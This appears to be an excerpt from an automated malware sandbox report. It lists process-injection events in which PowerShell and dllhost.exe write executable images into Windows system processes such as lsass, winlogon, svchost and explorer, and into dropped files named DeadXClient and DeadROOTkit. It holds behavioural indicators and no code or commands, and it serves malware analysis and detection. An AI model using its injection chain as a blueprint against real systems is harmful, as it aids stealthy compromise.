Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F3EAD60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18686DD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 24F4DB10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27E6F950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: A50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: ED0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 15B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2B60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1310000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1270000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: AA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 2F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: ED0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: A40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 900000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 14C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 510000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 6E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: E30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 13D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 10B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 870000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1390000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: B00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1470000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 5C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 910000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 5B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: EE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: BD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 3B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 790000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 8C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 1210000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: BD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: C60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: FC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xZBprBbdeOnkbIgDEbppLASfVbhbLQAMejmEurgzlXmYYoBEGDdiYFIuaFom\LfzsCkCtsZlGsmeVs.exe base: 9B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\DeadXClient.exe base: 1B410000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1B9F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 13B38860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1F080000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EF2F790000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 24D21B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2023BB50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1A8EC190000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2CCE00B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\Deadsvchost.exe base: 560000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\Public\Deadsvchost.exe base: 940000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Users\user\AppData\Local\DeadROOTkit.exe base: 11C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E9CEF00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E9CEF60000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 2580 base: 8BA0000 value: 4D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread register set: target process: 6968

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: F1B13F3010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
